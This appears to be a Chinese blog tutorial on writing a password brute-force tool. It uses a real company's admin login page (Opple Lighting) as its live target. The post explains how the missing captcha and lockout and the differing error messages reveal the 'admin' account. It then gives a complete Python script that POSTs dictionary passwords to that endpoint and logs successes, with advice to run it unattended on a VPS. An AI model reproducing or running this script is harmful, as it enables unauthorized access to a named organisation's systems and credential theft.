- A+
爆破工具千千万,各种各样。但是基本上工具都是对应特定的情况,所以有的时候需要根据不同的情况编写一些爆破工具。我这里用一个简单的实例来讲解下爆破工具的编写原理,就是从我们收集的字典中依次提取数据,然后提交到目标地址,通过返回状态来判断爆破成功,希望能帮助到有需要的朋友。
例子中的网站是欧普照明的官网后台http://www.opple.com.cn/admin/,因为没有验证码和错误次数的限制,所以理论上是可以通过爆破的方式猜解出密码,而且在用户名和密码错误的时候提示信息也有不同,如图所示,说明admin用户是存在的。
我们通过浏览器的开发者工具可以看到后台登陆的POST请求,然后根据这个请求来写我们的爆破工具。如下图所示。
从图中可知,关键信息有两点,POST目标是http://www.opple.com.cn/admin/Login.do,提交的数据是action=login&name=admin&password=admin,我们需要变化的就是password字段,剩下的HTTP REQUEST信息我们在代码中可以直接使用图中的。
提交信息我们已经知道了,还需要判断返回信息,用来区别是否爆破成功。继续看Chrome的开发者工具,如图所示,看到了“密码不正确”的返回信息,根据此信息,我们可以试试从页面的javascript中查找相关的信息。找到如图所示的内容,所以,我们只需要判断返回信息中是否包含字符1,就可以确定是否爆破成功。
综合以上的信息,我们可以写出自己的爆破脚本,简单方便,源码和注释如下:
#!/usr/bin/python
#coding=UTF-8
import httplib,urllib,time
fdict=open("password.dic") #password.dic是你的字典文件,每行一条记录
password='admin' #随便设置的初始密码
while password:
password=fdict.readline() #每次读取一行数据
time.sleep(1) #防止提交过快
httpClient=None
try:
params=urllib.urlencode({'action':'login','name':'admin','password':password}) #这里就是我们刚刚通过chrome得到的字段,password作为变量。
#下面就是HTTP头的一些信息,从chrome中得到的,直接拿过来用
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "application/xml, text/xml, */*; q=0.01",'User-Agent':'Mozilla/5.0 AppleWebKit/537.36','Referer':'http://www.opple.com.cn/admin/'}
httpClient = httplib.HTTPConnection("www.opple.com.cn", 80, timeout=30)
httpClient.request("POST", "/admin/Login.do", params, headers)
response = httpClient.getresponse()
responseread=response.read() #获取返回信息
if 200 == response.status and -1 != responseread.find('1'): #这里就是判断返回状态,HTTP 200代表访问成功,从返回的数据中查找字符1,判断是否成功
fresult=open("result.log","a")
fresult.write(password)
fresult.close()
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()
fdict.close()
复制代码
爆破的关键在于字典的强大,所以大家平时要注意收集常用的字典,我们可以使用
nohup python baopo.py &
命令(Linux下)在VPS上后台跑,偶尔去看看result.log文件中是否有信息就行了。通过上面的理解,我们可以举一反三。面对爆破,可以随时编写自己的爆破脚本。
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫